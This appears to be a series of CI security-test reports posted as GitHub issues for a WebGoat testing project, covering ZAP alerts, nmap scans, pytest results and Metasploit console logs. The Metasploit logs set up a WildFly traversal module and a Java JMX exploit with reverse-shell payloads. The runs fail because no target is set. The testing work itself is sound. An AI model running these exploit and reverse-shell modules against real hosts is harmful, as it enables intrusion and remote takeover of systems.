resource (./src/exploit*wildfly*dir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploit*wildfly*dir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit*java*jmx*reverse*https.rc for ERB directives.

resource (./src/exploit*java*jmx*reverse*https.rc)> use exploit/multi/misc/java*jmx*server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> show options

Module options (exploit/multi/misc/java*jmx*server):

Name Current Setting Required Description

---- --------------- -------- -----------

JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*java*jmx*reverse*https.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*java*jmx*reverse*https.rc)> use payload/generic/shell*reverse*tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit*java*jmx*reverse*https.rc)> exit

==========

ZAP Full Scan Report

GitHub Issue number # 489

GitHub Issue URL : Here!

- Site: http://4.224.126.49:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://4.224.126.49:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://4.224.126.49:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://4.224.126.49:8080/WebGoat/login
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - http://4.224.126.49:8080/WebGoat/start.mvc
  - **Cookie Slack Detector** [90027] total: 2:
    - http://4.224.126.49:8080/WebGoat/login
    - http://4.224.126.49:8080/WebGoat/start.mvc
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - http://4.224.126.49:8080/WebGoat/start.mvc
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://4.224.126.49:8080/WebGoat/login
  - **Base64 Disclosure** [10094] total: 1:
    - http://4.224.126.49:8080/WebGoat/start.mvc
  - **Non-Storable Content** [10049] total: 1:
    - http://4.224.126.49:8080/WebGoat/start.mvc
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/sitemap.xml
    - http://4.224.126.49:8080/WebGoat/login
    - http://4.224.126.49:8080/WebGoat/start.mvc
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/sitemap.xml
    - http://4.224.126.49:8080/WebGoat/login
    - http://4.224.126.49:8080/WebGoat/start.mvc
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/sitemap.xml
    - http://4.224.126.49:8080/WebGoat/login
    - http://4.224.126.49:8080/WebGoat/start.mvc
  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/sitemap.xml
    - http://4.224.126.49:8080/WebGoat/login
    - http://4.224.126.49:8080/WebGoat/start.mvc
  - **Session Management Response Identified** [10112] total: 2:
    - http://4.224.126.49:8080/WebGoat/start.mvc
    - http://4.224.126.49:8080/WebGoat/start.mvc
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/robots.txt
    - http://4.224.126.49:8080/sitemap.xml
    - http://4.224.126.49:8080/WebGoat/login
  - **User Agent Fuzzer** [10104] total: 24:
    - http://4.224.126.49:8080/WebGoat
    - http://4.224.126.49:8080/WebGoat

        - http://4.224.126.49:8080/WebGoat
        - http://4.224.126.49:8080/WebGoat
        - http://4.224.126.49:8080/WebGoat
        - ..

View the following link to download the report. RunnerID:6453447225

- Site: http://4.224.51.195:8080 **New Alerts**
    - **Absence of Anti-CSRF Tokens** [10202] total: 1:
        - http://4.224.51.195:8080/WebGoat/registration
    - **Anti-CSRF Tokens Check** [20012] total: 1:
        - http://4.224.51.195:8080/WebGoat/registration
    - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
        - http://4.224.51.195:8080/WebGoat/registration
    - **Permissions Policy Header Not Set** [10063] total: 1:
        - http://4.224.51.195:8080/WebGoat/registration
    - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
        - http://4.224.51.195:8080/
        - http://4.224.51.195:8080/robots.txt
        - http://4.224.51.195:8080/sitemap.xml
        - http://4.224.51.195:8080/WebGoat/registration
    - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
        - http://4.224.51.195:8080/
        - http://4.224.51.195:8080/robots.txt
        - http://4.224.51.195:8080/sitemap.xml
        - http://4.224.51.195:8080/WebGoat/registration
    - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
        - http://4.224.51.195:8080/
        - http://4.224.51.195:8080/robots.txt
        - http://4.224.51.195:8080/sitemap.xml
        - http://4.224.51.195:8080/WebGoat/registration
    - **Sec-Fetch-User Header is Missing** [90005] total: 4:
        - http://4.224.51.195:8080/
        - http://4.224.51.195:8080/robots.txt
        - http://4.224.51.195:8080/sitemap.xml
        - http://4.224.51.195:8080/WebGoat/registration
    - **Storable and Cacheable Content** [10049] total: 4:
        - http://4.224.51.195:8080/
        - http://4.224.51.195:8080/robots.txt
        - http://4.224.51.195:8080/sitemap.xml
        - http://4.224.51.195:8080/WebGoat/registration
    - **User Agent Fuzzer** [10104] total: 12:
        - http://4.224.51.195:8080/WebGoat
        - http://4.224.51.195:8080/WebGoat
        - http://4.224.51.195:8080/WebGoat
        - http://4.224.51.195:8080/WebGoat
        - http://4.224.51.195:8080/WebGoat
        - ..

View the following link to download the report. RunnerID:6492452677

Nmap-ParrotOS Scan output

GitHub Issue number # 488

GitHub Issue URL : Here!

parrotOS
nmap

Nmap vulnerability scanning
for 4.224.126.49

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [543 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.9 MB in 3s (6657 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

42 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6
libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl python3-typing-extensions
42 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 32.4 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6
libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl python3-typing-extensions
42 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 32.4 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 https://deb.parrot.sh/parrot parrot InRelease
Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease
Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease
Reading package lists...
Building dependency tree...
Reading state information...
42 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (https://nmap.org) at 2023-10-09 07:20 UTC

Nmap scan report for 4.224.126.49

Host is up (0.24s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 a3:40:8c:86:df:08:1b:1e:2c:2c:45:d4:62:c8:1f:23 (ECDSA)

|_ 256 52:77:06:f0:55:c6:f4:72:7a:db:c4:4a:84:d6:21:cb (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 09 Oct 2023 07:24:39 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 09 Oct 2023 07:24:37 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Mon, 09 Oct 2023 07:24:38 GMT

|_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Mon, 09 Oct 2023 07:24:37 GMT

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-10-09T07:24:37.591+00:00",

| "status" : 404,

| "error" : "Not Found",

| "path" : "/"

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Mon, 09 Oct 2023 07:24:55 GMT

| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-10-09T07:24:55.751+00:00",

| "status" : 404,

| "error" : "Not Found",

|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port8080-TCP:V=7.92%I=7%D=10/9%Time=6523AAB5%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Mon, 09 Oct 2023 07:24:3

SF:7 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 09\x

SF:20Oct 2023 07:24:38 GMT

")%r(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Mon, 09

SF:0Oct 2023 07:24:39 GMT

")%r(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-

SF:Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:400 Bad Request Content-Length: 0 Connection: close

SF:

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont

SF:ent-Length: 0 Connection: close

")%r(TerminalServerCook

SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:

SF:00 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400\n

SF:x20Bad Request Content-Length: 0 Connection: close

SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng

SF:th: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1.

SF:1 400 Bad Request Content-Length: 0 Connection: cl

SF:ose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co

SF:ntent-Length: 0 Connection: close

")%r(WMSRequest,42,"H

SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection

SF:: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques

SF:t Content-Length: 0 Connection: close

");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9090-TCP:V=7.92%I=7%D=10/9%Time=6523AAB5%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach

SF:e-Control: no-cache, no-store, max-age=0, must-revalidate

SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra

SF:me-Options: DENY Date: Mon, 09 Oct 2023 07:24:37\x

SF:20GMT Connection: close Vary: Origin Vary: Access-Con

SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con

SF:tent-Type-Options: nosniff Content-Type: application/json \n

SF:r { \"timestamp\" : \"2023-10-09T07:24:37.591+00:00\"

SF:, \"status\" : 404, \"error\" : \"Not

SF:Found\", \"path\" : \"/\" }")%r(WMSRequest,42,"HTTP/1.

SF:1 400 Bad Request Content-Length: 0 Connection: cl

SF:ose

")%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(SqueezeCenter_C

SF:LI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

")%r(GenericLines,42,"HTTP/1.1 400 Bad

SF: Request Content-Length: 0 Connection: close

")%r

SF:(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0

SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida

SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X

SF:-Frame-Options: DENY Date: Mon, 09 Oct 2023 07:24:

SF:55 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA

SF:CE, OPTIONS, PATCH Connection: close Vary: Origin

SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque

SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap

SF:plication/json

{ \"timestamp\" : \"2023-10-09T07:

SF:24:55.751+00:00\", \"status\" : 404, \"error\n

SF:" : \"Not Found\", \"path\" : \"/\" }")%r(RTSP

SF:Request,42,"HTTP/1.1 400 Bad Request Content-Length: 0\n

SF:r Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linux*kernel:2.6.32 cpe:/o:linux:linux*kernel:3.10 cpe:/o:linux:linux*kernel:4.2 cpe:/o:linux:linux*kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 27 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 ... 26

27 245.56 ms 4.224.126.49

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 385.83 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (https://nmap.org) at 2023-10-09 07:26 UTC

Nmap scan report for 4.224.126.49

Host is up (0.24s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (https://nmap.org) at 2023-10-09 07:26 UTC

Nmap scan report for 4.224.126.49

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.31 seconds

ZAP Full Scan Report

GitHub Issue number # 487

GitHub Issue URL : Here!

- Site: http://4.224.126.49:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://4.224.126.49:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://4.224.126.49:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://4.224.126.49:8080/WebGoat/login
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://4.224.126.49:8080/WebGoat/login
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/robots.txt
    - http://4.224.126.49:8080/WebGoat/login
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/robots.txt
    - http://4.224.126.49:8080/WebGoat/login
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/robots.txt
    - http://4.224.126.49:8080/WebGoat/login
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/robots.txt
    - http://4.224.126.49:8080/WebGoat/login
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/robots.txt
    - http://4.224.126.49:8080/sitemap.xml
    - http://4.224.126.49:8080/WebGoat/login
  - **User Agent Fuzzer** [10104] total: 12:
    - http://4.224.126.49:8080/WebGoat
    - http://4.224.126.49:8080/WebGoat
    - http://4.224.126.49:8080/WebGoat
    - http://4.224.126.49:8080/WebGoat
    - http://4.224.126.49:8080/WebGoat
    - ..

View the following link to download the report. RunnerID:6453447225

Sonar Cloud Code Scan Report

GitHub Issue number # 486

GitHub Issue URL : Here!

SonarQube Cloud code scan

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Snyk Report

GitHub Issue number # 485

GitHub Issue URL : Here!

Snyk_scan

Snyk Scan for OWASP WebGoat

Go to https://app.snyk.io/org/pradyumna-muppirala for full report of Snyk with Github SSO.

Pytest-Playwright Test Output Issue

GitHub Issue number # 484

GitHub Issue URL : Here!

Playwright
pytest

Starting pytests....

============================= test session starts ==============================

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0, playwright-0.4.2, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

=================================== PASSES ===================================

============================== 5 passed in 24.04s ==============================

Stop pytests....

ZAP Full Scan Report

GitHub Issue number # 483

GitHub Issue URL : Here!

- Site: http://20.198.113.88:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://20.198.113.88:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://20.198.113.88:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://20.198.113.88:8080/WebGoat/login
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - http://20.198.113.88:8080/WebGoat/start.mvc
  - **Cookie Slack Detector** [90027] total: 2:
    - http://20.198.113.88:8080/WebGoat/login
    - http://20.198.113.88:8080/WebGoat/start.mvc
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - http://20.198.113.88:8080/WebGoat/start.mvc
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://20.198.113.88:8080/WebGoat/login
  - **Base64 Disclosure** [10094] total: 1:
    - http://20.198.113.88:8080/WebGoat/start.mvc
  - **Non-Storable Content** [10049] total: 1:
    - http://20.198.113.88:8080/WebGoat/start.mvc
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/WebGoat/login
    - http://20.198.113.88:8080/WebGoat/start.mvc
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/WebGoat/login
    - http://20.198.113.88:8080/WebGoat/start.mvc
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/WebGoat/login
    - http://20.198.113.88:8080/WebGoat/start.mvc
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/WebGoat/login
    - http://20.198.113.88:8080/WebGoat/start.mvc
  - **Session Management Response Identified** [10112] total: 2:
    - http://20.198.113.88:8080/WebGoat/start.mvc
    - http://20.198.113.88:8080/WebGoat/start.mvc
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://20.198.113.88:8080/
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/sitemap.xml
    - http://20.198.113.88:8080/WebGoat/login
  - **User Agent Fuzzer** [10104] total: 24:
    - http://20.198.113.88:8080/WebGoat
    - http://20.198.113.88:8080/WebGoat
    - http://20.198.113.88:8080/WebGoat
    - http://20.198.113.88:8080/WebGoat
    - http://20.198.113.88:8080/WebGoat
    - ..

View the following link to download the report. RunnerID:6440256303

- Site: http://4.224.126.49:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://4.224.126.49:8080/WebGoat/registration
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://4.224.126.49:8080/WebGoat/registration
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://4.224.126.49:8080/WebGoat/registration
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://4.224.126.49:8080/WebGoat/registration
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/robots.txt
    - http://4.224.126.49:8080/sitemap.xml
    - http://4.224.126.49:8080/WebGoat/registration
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/robots.txt
    - http://4.224.126.49:8080/sitemap.xml
    - http://4.224.126.49:8080/WebGoat/registration
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/robots.txt
    - http://4.224.126.49:8080/sitemap.xml
    - http://4.224.126.49:8080/WebGoat/registration
  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/robots.txt
    - http://4.224.126.49:8080/sitemap.xml
    - http://4.224.126.49:8080/WebGoat/registration
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://4.224.126.49:8080/
    - http://4.224.126.49:8080/robots.txt
    - http://4.224.126.49:8080/sitemap.xml
    - http://4.224.126.49:8080/WebGoat/registration
  - **User Agent Fuzzer** [10104] total: 12:
    - http://4.224.126.49:8080/WebGoat
    - http://4.224.126.49:8080/WebGoat
    - http://4.224.126.49:8080/WebGoat
    - http://4.224.126.49:8080/WebGoat
    - http://4.224.126.49:8080/WebGoat
    - ..

View the following link to download the report. RunnerID:6453447225

Metasploit-ParrotOS Test output

GitHub Issue number # 482

GitHub Issue URL : Here!

parrotOS
metasploit

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [530 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.9 MB in 2s (9447 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

31 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

openssh-client openssh-server openssh-sftp-server openssl

python3-typing-extensions

31 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 17.1 MB of archives.

After this operation, 51.2 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

openssh-client openssh-server openssh-sftp-server openssl

python3-typing-extensions

31 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 17.1 MB of archives.

After this operation, 51.2 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 https://deb.parrot.sh/parrot parrot InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

31 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

==========

Metasploit Framework Exploit Demo :

==========

Target Web Goat Instance IP Address : 20.198.113.88

Possible Metasploit exploits or auxilaries or payloads, that can used for attacking

==========

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploit*wildfly*dir_traversal.rc for ERB directives.

resource (./src/exploit*wildfly*dir*traversal.rc)> use auxiliary/scanner/http/wildfly*traversal

resource (./src/exploit*wildfly*dir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE*FILE*PATH standalone

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

